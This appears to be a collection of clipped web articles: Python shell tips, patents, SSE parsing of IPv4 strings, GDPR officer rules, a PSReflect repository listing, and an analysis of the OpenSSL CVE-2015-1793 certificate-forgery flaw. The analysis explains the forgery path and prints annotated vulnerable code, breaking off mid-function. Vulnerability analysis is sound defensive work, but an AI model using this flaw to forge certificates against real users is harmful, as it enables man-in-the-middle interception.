functionality conveniently, is the commercial one, Wing IDE Professional. Even
with that, since all the defined models are replaced \(by using meta-classes\)
in the runtime, that source assistant is not perfect. Newer versions of Wing
seems to claim to obtain data dynamically at the runtime, but its not always
comfortable to write code, keeping the IDE in a breakpoint. But hey, bpython
provides all these for free\!

### But I already use Ipython

You do? So do I. In fact, I am a Power Ipython user, I use all kinds of
%magicfunctions: %whos, %logstart, %bookmark, %ed and sometimes use Ipython as
an alternative even to bash: %cd, %ls, %ll. And even for doc testing:
%doctest\_mode, copy-pasting %hist -n or running some code module in the
interpreter namespace: %run -i and searching code %psearch. You can also give
any arbitrary bash\(or your default shell\) command by escaping it with \!.
Oh, ?, ?? and / are of course the starters.

In fact did you know, you could get to ipython shell within any arbitrary
place within your django code? Just use the following:

[code]

    from IPython.Shell import IPShellEmbed
    ipython = IPShellEmbed()
    
[/code]

and then call ipython\(\) anywhere within your view, model, forms and you will
be dropped to the shell. Its like ipdb.set\_trace\(\) only better \(unless you
want to step through, that is\).

### The Python readline bug

The Python version 2.6.4 \(the version that is shipped with Ubuntu 9.10\),
introduced a readline bug that adds spaces after tab completion. This bug also
affects the Ipython, as it uses the same readline module. If you spend a lot
of time on the shell \(if you use python, you must, right?\), it is very
annoying to backspace after each tab, all the time.

Although the bug got fixed pretty soon, it hasn’t yet made it to any release
that ubuntu updates to. There are ways to workaround this problem, by fixing
it at the python level and at the Ipython level, many of them are discussed on
the corresponding Ipython bug

### Using bpython with django

Now that you want to use bpython with django, either because you like the auto
completion, or because you find the read line bug annoying \(and don’t
want/care-enough to patch your python locally\), or you just want to try it,
how to do it?

`django manage.py shell` unfortunately, drops only into the ipython shell \(if
you have ipython installed\), and there is no straight forward way to get it
to drop to bpython.

But there is still a way to use bpython with django. Just modify your
~/.bashrc to define a python startup environment variable

[code]

    export PYTHONSTARTUP=~/.pythonrc
    
[/code]

And within it, setup the django environment, that is, do it here manually the
thing that `python manage.py shell` would do for you:

[code]

    #.pythonrc
    try:
        from django.core.management import setup_environ
        import settings
        setup_environ(settings)
        print 'imported django settings'
    except:
        pass
    
[/code]

This way, `bpython` or even just `python` on the command line, should import
the django environment for you.

### Importing all models automatically into the shell

But then, if you are possibly already used to `python manage.py shell_plus`
\(If you are not, you should be.\) that is defined by
django\_command\_extensions.

So while we are at setting up the django environment, lets just also import
all the models into the shell namespace, so that it is convenient to work.
Following is some ugly quick hack to get it done.

This can of course be improved upon. If you do it, just leave it in the
comments\! In fact it would be good if it also includes `from startup.py
import *` in a try catch, so that, you can put some extra code into
startup.py. Saving into startup.py from within a bpython shell is just a
`Ctrl+s` anyway. That way each time you get to the shell, you can have the
same expected environment; and it is quite easy to change that file.

\*I know, I know, IPython doesn’t refactor code, nor build, nor does a million
things that Intellij does, but Python is not Java and basically both intend to
enhance developer productivity. And I spend a lot of time on the IPython shell
and find it to be a tool just like Intellij is a tool, for Java.

Related posts:

  1. Better Python package management using source and version control systems

  *[DECEMBER 12, 2009]: 2009-12-12

# Do Patents Slow Down Innovation?

**Created:**| _2/10/2010 8:07:59 PM_  
---|---  
**Updated:**| _2/10/2010 8:08:10 PM_  
**Author:**| __  
**Tags:**| _patents_  
  

# Do Patents Slow Down Innovation?

I had a very interesting meeting yesterday with an MIT Professor who I’ve
known for a long time. He is anti-software patent, as am I. However, he
suggested something I hadn’t really spent much time thinking about, namely
that  _patents slow down innovation_. Some very credible folks have been
talking about this for a little while, including James Bessen and Michael
Meurer in their excellent book Patent Failure: How Judges, Bureaucrats, and
Lawyers Put Innovators at Risk<img src='img/Temp2_2322.gif' width='1'
height='1' />.

In my conversation Friday, I heard a very interesting example. Regularly,
patent advocates tell me how important patents are for the biotech and life
science industries. However, there apparently is academic research in the
works that shows that patents actually slow down innovation in biotech. The
specific example we discussed was that there is increasing evidence that when
a professor or company gets a patent in the field of genetics research, other
researchers simply stop doing work in that specific area. As a result, the
number of researchers on a particular topic decreases, especially if the
patent is broad. It’s not hard to theorize that this results in less
innovation around this area over time.

I’m just starting to read some papers about this stuff, including those by MIT
Professor Fiona Murray. If you are interested, Stuart Macdonald’s paper  _When
means become ends: considering the impact of patent strategy on innovation_
frames the discussion nicely. And Stephan Kinsella’s excellent essay
_Reducing the Cost of IP Law_ __ absolutely nails this.

I’m still obsessed with my mission to “abolish software patents” especially
after receiving yet another email from a new startup that claims to be a
“Patent Insurance Company.” A number of these have popped up recently in the
past few years, including several that are funded by VCs. Their pitch is that
you pay them an annual fee, license any patents you have to them, and they
will “protect you” against any patent litigation. Whenever I hear this pitch,
all I can think about is Al Capone walking the streets of Chicago going door
to door offering “protection” to all of the local businessmen if they will pay
his vig every week.

# Convert IPv4 string representation to a 32-bit number with SSE instructions

**Created:**| _5/13/2014 3:04:51 PM_  
---|---  
**Updated:**| _5/13/2014 3:04:51 PM_  
**Author:**| __  
**Tags:**| _asm network-security_  
  

# Convert IPv4 string representation to a 32-bit number with SSE instructions

## The long road to optimization

The main idea is that, at most, one IPv4 string can fit into a SSE register.
Indeed, 255.255.255.255 is 16 characters wide, thus 128 bit, which is the size
of a SSE register\!

So, we assume that we are able to have a SSE register filled like this:

[code]

    SSE register = {'3, '7', '.', '1', '8', '7', '.', '4, '7', '.', '7', '0', 0, 0, 0, 0}
    
[/code]

So, let's see what SSE instructions might be of use for us. In order to do
this, Intel provides us with a real nice web application you can access here:
https://software.intel.com/sites/landingpage/IntrinsicsGuide/. Note that this
used to be a Java application \(that you can't seem to be able to download
anymore, but you can still get a copy here:
http://files.geekou.info/intel\_intrinsics.tar.bz2\), and even an older PDF
that stopped with SSE4.2.

Back to the web application, we select all flavors of SSE. Then, we need to
find:

  * a subtraction operation: in the "Arithmetic" category, we can find `_mm_sub_epi8`, which subtract two SSE registers by pair of 8-bit signed integers. Sounds like our candidate for the subtraction of '0'.
  * a bitwise-or operation: \_mm\_or\_si128 in the "Logical" category seems fine.
  * something to find out where the dots are. The "Compare" category seems a good choice, and `_mm_cmpeq_epi8` our candidate. It will generate a "mask" vector where bytes will be equal to 0xFF where dots are, and null otherwise. That is, `res = _mm_cmpeq_epi8(a, b)` is semantically the same as:

[code]

    for i from 0 to 16: res[i] = (a[i] == b[i]) ? OxFF:0x00
    
[/code]

  * a multiply operation. This is a bit trickier, because a multiplication of two 8-bit integers might end up on a 16-bit integer.

### Multiplications

As the different multiplication instructions available will determine how our
algorithm works, let's detail a bit the available choices.

The SSE instructions set provides several ways to do multiplication.
Basically, the different kinds of instructions are, for `res = a * b` \(with
`res`, `a` and `b` 128-bit SSE registers\):

  * multiply 16-bit numbers to 32-bit \(`_mm_mullo_epi16`\):

[code]

    res[0:32[   = a[0:16[*b[0:16[
    res[32:64[  = a[16:32[*b[16:32[
    res[64:96[  = a[32:48[*b[32:48[
    res[96:128[ = a[48:64[*b[48:64[
    
[/code]

  * same with 32-bit numbers to 64-bit \(`_mm_mullo_epi32`\):
  * same with the upper parts of the `a` and `b` registers \(`_mm_mulhi_epi16` / `_mm_mulhi_epi32`\):
  * some mix of multiplications and additions, like this \(`_mm_maddubs_epi16`\):

[code]

    res[0:16[  = a[0:8[   * b[0:8[   + a[8:16[  * b[8:16[
    res[16:32[ = a[16:24[ * b[16:24[ + a[24:32[ * b[24:32[
    res[32:48[ = a[32:40[ * b[32:40[ + a[40:48[ * b[40:48[
    res[48:64[ = a[48:56[ * b[48:56[ + a[56:64[ * b[56:64[
    etc.
    
[/code]

Let's imagine we manage to get this vector \(out of '37.187.47.70'\) \(X means
any 8-bit value\):

[code]

    SSE ip_int =  {3, 7, X, 1, 8, 7, X, 4, 7, X, 7, 0, X, X, X, X}
    
[/code]

What we would like to do is multiply it by this one:

[code]

    SSE mul =     {10, 1, 0, 100, 10, 1, 0, 10, 1, 0, 10, 1, 0, 0, 0, 0}
    
[/code]

and get this:

[code]

    SSE res =     {3*10, 7*1, X*0, 1*100, 8*10, 7*1, X*0, 4*10, 7*1, X*0, 7*10, 0*1, X*0, X*0, X*0, X*0}
    
[/code]

and then do some kind of horizontal sum to obtain this:

[code]

    SSE ip  =     {        3*10 + 7*1 + X*0,
                   1*100 + 8*10 + 7*1 + X*0,
                           4*10 + 7*1 + X*0,
                           7*10 + 0*1 + X*0
                  }
    
[/code]

But, SSE does not provide a way to multiply SSE registers by 8-bit packed
numbers. The minimum is, as shown above, 16-bit.

Fortunately for us, the \_mm\_maddubs\_epi16 is the one that will help us. The
issue though is that it will only work on 8 blocks of 2\*8-bit numbers each,
that is if our vectors are organised like this:

[code]

    SSE ip_int =  {0,   3 , 7, X, 1  , 8 , 7, X, 0,   4 , 7, X, 0,   7 , 0, X} (1)
    SSE mul =     {100, 10, 1, 0, 100, 10, 1, 0, 100, 10, 1, 0, 100, 10, 1, 0} (2)
    
[/code]

With `res = _mm_maddubs_epi16(ip_int, mul)`, we have:

[code]

    SSE ip_res =  {0*100 + 3*10, 7*1 + X*0,
                   1*100 + 8*10, 7*1 + X*0,
                   0*100 + 4*10, 7*1 + X*0,
                   0*100 + 7*10, 0*1 + X*0}
    
[/code]

Each number here is 16-bit wide. Thus, we need one last horizontal 16-bit
addition and shifting, that is one instruction that does:

[code]

    res[0:32[   = (a[00:16[ + a[16:32[) << 24,
    res[32:64[  = (a[32:48[ + a[48:64[) << 16,
    res[64:96[  = (a[64:80[ + a[80:96[) << 8,
    res[96:128[ = (a[96:112[ + a[112:128[),
    
[/code]

There is no instruction that does _exactly_ that, and `_mm_madd_epi16` is the
closest to what we are looking for:

[code]

    SSE res = {a[00:16[*b[00:16[ + a[16:32[*b[16:32[,
               a[32:48[*b[32:48[ + a[48:64[*b[48:64[,
               a[64:80[*b[64:80[ + a[80:96[*b[80:96[,
               a[96:112[*b[96:112[ + a[112:128[*b[112:128[}
    
[/code]

Thus, by setting the `b` 8\*16-bit integers vector as:

[code]

    b = {2**8, 2**8, 1, 1, 2**8, 2**8, 1, 1} (3)
    
[/code]

we end up with, for `res = _mm_madd_epi16(ip_res, b)`:

[code]

    res[0:32[   = (a[00:16[ + a[16:32[) << 8,
    res[32:64[  = (a[32:48[ + a[48:64[),
    res[64:96[  = (a[64:80[ + a[80:96[) << 8,
    res[96:128[ = (a[96:112[ + a[112:128[),
    
[/code]

The final computation will just need one shift of 16 bit and four `or`
operations.

We need to keep this in mind as this is the key to the vectorized algorithm,
because we still have to manage to get \(1\) and \(2\).

### The vectorized algorithm

So, starting with our IP string in a SSE register and the above instructions,
it seems natural to try something like this:

>   * find out where the dots are in the IPv4 string
>   * subtract with '0'
>   * manage to have \(1\) and \(2\) from this
>   * use `_mm_maddubs_epi16` and `_mm_madd_epi16` to get four 32-bit numbers
> representing the four parts of the IP
>   * construct the final number
>

Let's describe this a little bit step by step.

### First steps

So, first thing first, the subtraction is not that hard to perform in SSE. We
just need to create a vector where '0' bytes are at the right position.

So, we search for the dots and ending zeros, using the `compare` and `or`
instructions:

[code]

    __m128i mask_dots = (sse_str == '.' | sse_str == 0)
                      =  _mm_or_si128(
      _mm_cmpeq_epi8(sse_str, _mm_set1_epi8('.')),
      _mm_cmpeq_epi8(sse_str, _mm_setzero_si128()));
    
[/code]

In our case, this gives:

[code]

    SSE ip =        {'3' , '7' , '.' , '1',  '8',  '7',  '.',  '4',  '7',  '.',  '7',  '0',  0,    0,    0,    0}
    SSE mask_dots = {0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF};
    
[/code]

Then, we use the `and not` instructions to create the '0' register:

[code]

    SSE mask_zeros = ~mask_dots & {'0', '0', ..., '0'}
                   = _mm_andnot_si128(mask_dots, _mm_set1_epi8('0'));
                   = {'0', '0', 0x00, '0', '0', '0', 0x00, '0', '0', 0x00, '0', '0', 0x00, 0x00, 0x00, 0x00}
    
[/code]

And, finally subtract this to our original SSE "string" register:

[code]

    SSE ip_int = sse_ip - mask_zeros = _mm_sub_epi8(sse_ip, mask_zeros);
    
[/code]

### The shifting dance

Alright, so now we need to create \(1\) and \(2\). \(2\) is fairly easy, as
this is a constant value:

[code]

        SSE mul_ten = _mm_set_epi8(0,1,10,100,0,1,10,100,0,1,10,100,0,1,10,100);
    
    (one will notice that _mm_set_XX takes their arguments the "little-endian" way)
    
[/code]

\(1\) requires more work. The goal is to make sure that each number of the
original string is aligned on 4 bytes. In our case, we need to transform
`ip_int` from:

[code]

    SSE ip_int =  {3, 7, X, 1, 8 , 7, X, 4 , 7, X, 7, 0, X, X, X, X}
    
[/code]

[code]

    SSE ip_int =  {0, 3, 7, X, 1, 8, 7, X, 0, 4, 7, X, 0, 7, 0, X}
                   <-------->  <-------->  <-------->  <-------->
                    1st block     2nd          3rd       4th
    
[/code]

We need to play with the SSE shift instructions to add the zeros needed to
build the four blocks. The instruction `_mm_shuffle_epi8` permutes the
different bytes of a register according to another one. A shift of one byte to
the right will be expressed like this:

[code]

    right_shift(reg) = _mm_shuffle_epi8(reg, _mm_set_epi8(14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,0x80));
    
[/code]

\(0x80 indicates that the byte at this index will be null\)

For instance:

[code]

    right_shift(ip_int) = {0, 3, 7, X, 1, 8 , 7, X, 4 , 7, X, 7, 0, X, X, X}
                           <-------->
                           1st block
    
[/code]

As we can see, this gives us our first block. We can "move" this block in a
fresh blank register, and go on:

[code]

    SSE mask_32bit = {0xFFFFFFFF, 0 (32-bit wide), 0 (32-bit wide), 0 (32-bit wide)}
    SSE ip_final   = ip_int & mask_32bit  = _mm_and_si128(ip_int, mask_32bit)
    ip_int         = ~mask_32bit & ip_int = _mm_andnot_si128(mask_32bit, ip_int)
    
[/code]

Here, we got ourselves with:

[code]

    ip_final = {0, 3, 7, X, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
    ip_int   = {0, 0, 0, 0, 1, 8, 7, X, 4, 7, X, 7, 0, X, X, X}
    
[/code]

For the following block, we do not need any shifting, so simply "move" it the
same way:

[code]

    SSE mask_32bit = {0 (32-bit wide), 0xFFFFFFFF, 0 (32-bit wide), 0 (32-bit wide)}
    ip_final = ip_final | (ip_int & mask_32bit) = _mm_or_si128(ip_final, _mm_and_si128(ip_int, mask_32bit))
    ip_int   = ~mask_32bit & ip_int = _mm_andnot_si128(mask_32bit, ip_int)
    
[/code]

resulting in:

[code]

    ip_final = {0, 3, 7, X, 1, 8, 7, X, 0, 0, 0, 0, 0, 0, 0, 0}
    ip_int   = {0, 0, 0, 0, 0, 0, 0, 0, 4, 7, X, 7, 0, X, X, X}
    
[/code]

The third block needs one shift to the right, so let's do it:

[code]

    SSE mask_32bit = {0 (32-bit wide), 0 (32-bit wide), 0xFFFFFFFF, 0 (32-bit wide)}
    SSE ip_final = right_shift(ip_int, mask_32bit)
    ip_int = ~mask_32bit & ip_int  = _mm_andnot_si128(mask_32bit, ip_int)
    
[/code]

resulting in:

[code]

    ip_final = {0, 3, 7, X, 1, 8, 7, X, 0, 4, 7, X, 0, 0, 0, 0}
    ip_int   = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, X, X}
    
[/code]

And the same for the last block:

[code]

    ip_final = {0, 3, 7, X, 1, 8, 7, X, 0, 4, 7, X, 0, 7, 0, X}
    
[/code]

This is the vector we wanted in \(1\)\!

What's left to compute are the shift "counts" that we used. As you now have
understood, it depends on the number of figures of each block. We need to find
a way to compute this one thanks to SSE instructions and what we've got so
far, that is a SSE "mask" register that indicates the positions of dots and
null bytes. In our example:

[code]

    SSE mask_dots = {0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF};
    
[/code]

What we can do is start from this vector to compute the shifting count:

  * first, shift this vector one byte to the left:

[code]

    SSE mask_shifts_count = left_shift(mask_dots)
                           = {0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00}
    
[/code]

  * create a vector of 2 according to this mask:

[code]

    SSE shifts_count = mask_shifts_count & {2, 2, ..., 2}
                     =  _mm_and_si128(mask_shifts_counts, {2, 2, ..., 2})
                     = {0, 2, 0, 0, 0, 2, 0, 0, 2, 0, 0, 2, 2, 2, 2, 0}
    
[/code]

  * Now, do the same and make sure we do not erase a shift count already set:

[code]

    mask_shifts_count = ~mask_shifts_count & left_shift(mask_shifts_count)
                       = {0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00}
    shifts_count = _mm_or_si128(shifts_count, _mm_and_si128(mask_shifts_count, {1, 1, .., 1}))
                 = {1, 2, 0, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 0}
                    <-------->  <-------->  <-------->  <-------->
    
[/code]

So now, we shift our `shifts_count` vector the same way that we will shift the
`ip_int` vector, that is:

  * take the first 8-bit integer of `shifts_count` \(here 1\). It means that the first block needs a one-byte shift to the right. We'll do the same with `shifts_count` and end up with:

[code]

    shifts_count = right_shift(shifts_count)
                 = {0, 1, 2, 0, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2}
                    <-------->  <-------->  <-------->  <-------->
    
[/code]

  * then, we take the 4-th 8-bit number of `shifts_count`, and do the same. In our example, this is the shift count of our second block \(0\), so `shifts_count` does not change.
  * go on with the 8-th byte, so a shift count of 1, and get:

[code]

    shifts_count = right_shift(shifts_count)
                 = {0, 0, 1, 2, 0, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2}
                    <-------->  <-------->  <-------->  <-------->
    
[/code]

  * and, finally, for the last block, the 12-th byte gives us the last shift count, that is 1\!

Using the last "shift count" and the same operations as above, we finally
manage to create \(1\):

[code]

    ip_final = {0, 3, 7, X, 1, 8, 7, X, 0, 4, 7, X, 0, 7, 0, X}
    
[/code]

### The final steps

Our dance allowed us to get \(1\) and \(2\), so now let's apply what we've
seen previously. That is:

  * set a vector with `{100, 10, 1, 0, 100, 10, 1, 0, 100, 10, 1, 0, 100, 10, 1, 0}`
  * use the `_mm_maddubs_epi16` instructions with \(1\) and the above vector
  * as a remainder, we get:

[code]

    SSE res = {0*100 + 3*10, 7*1 + X*0,
               1*100 + 8*10, 7*1 + X*0,
               0*100 + 4*10, 7*1 + X*0,
               0*100 + 7*10, 0*1 + X*0}
    
[/code]

  * use `_mm_madd_epi16` with \(3\) and get \(each number is 32-bit wide\):

[code]

    SSE res = {(0*100 + 3*10 + 7*1 + X*0) << 8,
               (1*100 + 8*10 + 7*1 + X*0),
               (0*100 + 4*10 + 7*1 + X*0) << 8,
               (0*100 + 7*10 + 0*1 + X*0)}
    
[/code]

  * extract the four parts of `res` and compute:

[code]

    ip = ((res[0]|res[1])<<16) |
         ((res[2]|res[3]))
    
[/code]

And here we are\!

# To DPO or Not to DPO: Revised Guidance Issued on Data Protection Officers Under GDPR | JD Supra
**Created:**| _5/7/2017 10:14:05 AM_  
---|---  
**Updated:**| _5/7/2017 10:14:05 AM_  
**Author:**| __  
**Tags:**| _bookmark gdpr_  
  

  

# To DPO or Not to DPO: Revised Guidance Issued on Data Protection Officers
Under GDPR

Send

  
  

If you are a hospital processing European Union \(EU\) patient data, if you
maintain EU customer loyalty programs, or if you engage in behavioral
advertising of EU citizens, you may be required to appoint a data protection
officer \(DPO\) by May 2018.

Earlier this month, the Article 29 Working Party \(WP29\) issued revised
guidance regarding the appointment of data protection officers under the
General Data Protection Regulation \(GDPR\), the new EU privacy regulation
which goes into effect in May 2018. These revisions build upon guidance
initially adopted in December 2016.

**Who Must Appoint a DPO?**

GDPR creates a new stipulation: the appointment of a data protection officer
to monitor compliance of the organization with the requirements of GDPR. These
include all controllers and processors who are "public authorities and
bodies." In the private sector, DPOs must be appointed by entities which, as a
core activity, monitor individuals systematically and on a large scale, or
that possess special categories of personal data on a large scale. Even if an
entity is not required to appoint a DPO, the WP29 guidance recommends that one
be appointed on a voluntary basis.

The guidance characterizes "core activities" as key activities necessary to
achieve the entity's goals, but also practices whereby data processing is "an
inextricable part" of the entity's operations. As an example, the guidance
states that while data processing likely would not be considered a core
activity of a hospital, the hospital could not provide safe patient care
without processing health data records and thus should appoint a DPO.

WP29 counsels that "regular and systemic monitoring" includes all forms of
tracking and profiling on the internet. WP29 additionally notes that "regular"
would mean "ongoing or occurring at particular intervals for a particular
period; recurring or repeated at fixed times; and constantly or periodically
taking place." And "systematic" would mean "occurring according to a system;
pre-arranged, organized, or methodical; taking place as part of a general plan
for data collection; and carried out as part of a strategy."

Examples include providing telecommunications services; email retargeting;
profiling and scoring for purposes of risk assessment \(e.g. for purposes of
credit scoring, establishment of insurance premiums, fraud prevention,
detection of money-laundering\); location tracking, for example, by mobile
apps; loyalty programs; behavioral advertising; connected devices e.g. smart
meters, smart cars, home automation, etc.

WP29 recommends that the following factors be taken into account to determine
whether an organization is processing data on a large scale:

  * The number of data subjects concerned—either as a specific number or as a proportion of the relevant population
  * The volume of data and/or the range of different data items being processed
  * The duration, or permanence, of the data processing activity
  * The geographical extent of the processing activity

Examples of large-scale processing include:

  * Processing of patient data in the regular course of business by a hospital
  * Processing of travel data of individuals using a city's public transport system \(e.g. tracking via travel cards\)
  * Processing of real-time geo-location data of customers of an international fast food chain for statistical purposes by a processor specialized in providing these services
  * Processing of customer data in the regular course of business by an insurance company or a bank
  * Processing of personal data for behavioral advertising by a search engine
  * Processing of data \(content, traffic, location\) by telephone or internet service providers

**DPO Can Be Outside the EU**

A DPO may be a single person or a team of people. If an organization prefers,
it may contract to appoint an external DPO \(or an external DPO team\) rather
than using a person within the organization.

The WP29 generally recommends that an organization's DPO be physically located
in the EU. However, for organizations that have no establishment within the
European Union, WP29 recognized that a DPO may be able to carry out his or her
activities more effectively if located outside the EU.

In order for an organization's DPO to carry out his or her duties effectively,
the GDPR requires that the DPO be given adequate resources and be allowed to
maintain their independence and autonomy within their organization. This
includes refraining from placing the DPO in a position by which he or she
could have a conflict of interest.

Organizations should take care to review these guidelines and determine
whether to appoint a DPO well in advance of the effective date of the GDPR to
ensure compliance.

  

# jaredcatkinson/PSReflect-Functions

**Created:**| _6/29/2017 3:43:35 PM_  
---|---  
**Updated:**| _6/29/2017 3:43:35 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# jaredcatkinson/PSReflect-Functions

_No description, website, or topics provided._

PowerShell

Permalink <img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  Enumerations |  Adding NtDeleteKey, NtDeleteValueKey, NtSetValueKey and necessary enu… |  22 hours ago  
---|---|---|---  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  Examples |  Added support for checking digital signatures \(Test-DigitalSignature\)… |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  Structures |  Adding NtDeleteKey, NtDeleteValueKey, NtSetValueKey and necessary enu… |  22 hours ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  advapi32 |  Added Enumeration values to some functions |  21 hours ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  iphlpapi |  Added support for checking digital signatures \(Test-DigitalSignature\)… |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  kernel32 |  Added Enumeration values to some functions |  21 hours ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  mpr |  Working on consistency of Function Definitions |  11 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  netapi32 |  Forgot to add the NetApiBufferFree function to the manifest. |  11 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  ntdll |  Added DesiredAccess Parameter |  15 hours ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  samlib |  Added support for checking digital signatures \(Test-DigitalSignature\)… |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  secur32 |  Updated and Added functions |  10 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  wintrust |  Removing "NONE" subsystem from CryptCATAdminAcquireContext |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  wtsapi32 |  Added support for checking digital signatures \(Test-DigitalSignature\)… |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  FunctionDefinitions.ps1 |  Adding NtDeleteKey, NtDeleteValueKey, NtSetValueKey and necessary enu… |  22 hours ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  PSReflect-Functions.psd1 |  Adding CryptCATAdminAddCatalog |  3 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  PSReflect-Functions.psm1 |  commit ahead of Jared review |  2 days ago  
<img src='img/octocat-spinner-32.gif' width='16' height='16' /> |  PSReflect.ps1 |  Added support for checking digital signatures \(Test-DigitalSignature\)… |  3 days ago  
  

# OpenSSL-CVE-2015-1793 Exploit Analysis - Drops

**Created:**| _7/16/2015 9:50:42 AM_  
---|---  
**Updated:**| _7/16/2015 9:50:42 AM_  
**Author:**| __  
**Tags:**| __  
  

Author:Qihoo 360

From: http://drops.wooyun.org/papers/7073

# 0x00 Preface

OpenSSL officially announced the CVE-2015-1793 which is an Alternative chains
certificate forgery affecting the branch of OpenSSL 1.0.1 and 1.0.2 on 9th
July. OpenSSL 1.0.0 is not affected, nor is 0.9.8.

The researcher `@au2o3t` from `Qihoo 360` Security has analyzed the principle
of this vulnerability which is confirmed to be a severe vulnerability which is
an Alternative chains certificate forgery. Therefore, attackers may leverage
this vulnerability to perform the Alternative chains certificate forgery and
perform “Man-in-the-middle” attack.

# 0x01 Basic Principle of the Vulnerability

Let's directly get down to the easiest exploitation method \(the number of
such methods is not limited to 1\):

The attacker gets a certificate X from a publicly trusted CA\(C\), and issues
another certificate V with certificate X \(including the alternative reference
of the certificate X\). In this case, the chain of certificates V and R \(R
represents arbitrary certificate\) would be both considered as trusted by the
user who trusts the C.

Apparently, the chain of certificates for V and R will return a fail.

For the older versions that don't support alternative chain verification, the
verification process will fail.

For the versions that support alternative chain verification, the process will
try to construct an alternative chain that includes V, X and C and proceed to
the verification.

Although the chain of V, X and C can pass the trust verification, the
authentication will fail because the usage of X doesn't include a CA.

However in the openssl-1.0.2c, there is an error which is a wrong position
count for the last untrusted certificate during the process of the alternative
chain, . V and X should have been marked as untrusted and verified. However,
the error that mistakenly verifies certificate V only without verifying the
attacker's certificate X would cause the return is a success.

# 0x02 Analyzing the vulnerability

The vulnerability code is at the 392 line \(`ctx->last_untrusted`\) of
X509\_verify\_cert\(\) function in `openssl-1.0.2c/crypto/x509/x509_vfy.c`
file.

A simple analysis of the code X509\_verify\_cert that results in the problem:

\(To ensure readability, the codes strongly relevant to certificate
verification are demonstrated, omitting the least important codes for variable
definition, error handling and resource release. \)

When a CA is added in `<1>` and verified at `<2>` \(issuer\), the count for
the certificate chain is increased. But, the count for the the last untrusted
certificate is not added. Once the process is removed from `<4>`, the position
count for this certificate is additionally reduced, which results that
certificate X is not verified.

\(In the chain that includes V,X and C, V and X are supposed to be verified,
but X is ignored. \)

The code analysis:

[code]

    int X509_verify_cert(X509_STORE_CTX *ctx)
    {
        // add ctx->certto the chain of verification ctx->chain as an untrusted certificate
        // STACK_OF(X509) *chain to be constructed as the chain of certificates and ultimately sent to internal_verify() for verification
        sk_X509_push(ctx->chain,ctx->cert); 
        // current chain length（==1）
        num = sk_X509_num(ctx->chain);
         // pick up the num ceritificate
        x = sk_X509_value(ctx->chain, num - 1);
         // if untrusted chain exists, copy it
        if (ctx->untrusted != NULL
            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
             goto end;
        }
         // the predefined biggest chain depth（100）
        depth = param->depth;
        // construct the chain of certificates that needs to be verified
        for (;;) {
            // exit when the length is exceeded
            if (depth < num)
                break;
            // exit when encountering self-sign（on the top of the chain）
            if (cert_self_signed(x))
                break;
             if (ctx->untrusted != NULL) {
                xtmp = find_issuer(ctx, sktmp, x);
                // current certificate is not from a trusted CA（need CA symble）
                if (xtmp != NULL) {
                    // then add chain of verification
                    if (!sk_X509_push(ctx->chain, xtmp)) {
                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                        goto end;
                    }
                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                    // the position count for the last untrusted increment 1
                    ctx->last_untrusted++;
                    x = xtmp;
                    num++;
                    continue;
                }
            }
            break;
        }
        do {
            i = sk_X509_num(ctx->chain);
            x = sk_X509_value(ctx->chain, i - 1);
            // if the certificate on top is self-signed
            if (cert_self_signed(x)) {
                // if the verification chain length == 1
                if (sk_X509_num(ctx->chain) == 1) {
                    // look for its issuer in the trust chain（find itself）
                    ok = ctx->get_issuer(&xtmp, ctx, x);
     
                   // didn't find any or not the same certificate
                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                        ctx->current_cert = x;
                        ctx->error_depth = i - 1;
                        if (ok == 1)
                            X509_free(xtmp);
                        bad_chain = 1;
                        ok = cb(0, ctx);
                        if (!ok)
                            goto end;
                    // Found
                    } else {
                        X509_free(x);
                        x = xtmp;
                        // // add to the trust chain
                        (void)sk_X509_set(ctx->chain, i - 1, x);
                        // set the position count for the last untrusted certificate to 0
                        ctx->last_untrusted = 0;
                    }
                // self-signed certificate on top and the chain length >1
             
                } else {
                    // pop 
                    chain_ss = sk_X509_pop(ctx->chain);
                    // the position count for the last untrusted certificate decreament 
                    ctx->last_untrusted--;
                    num--;
                    j--;
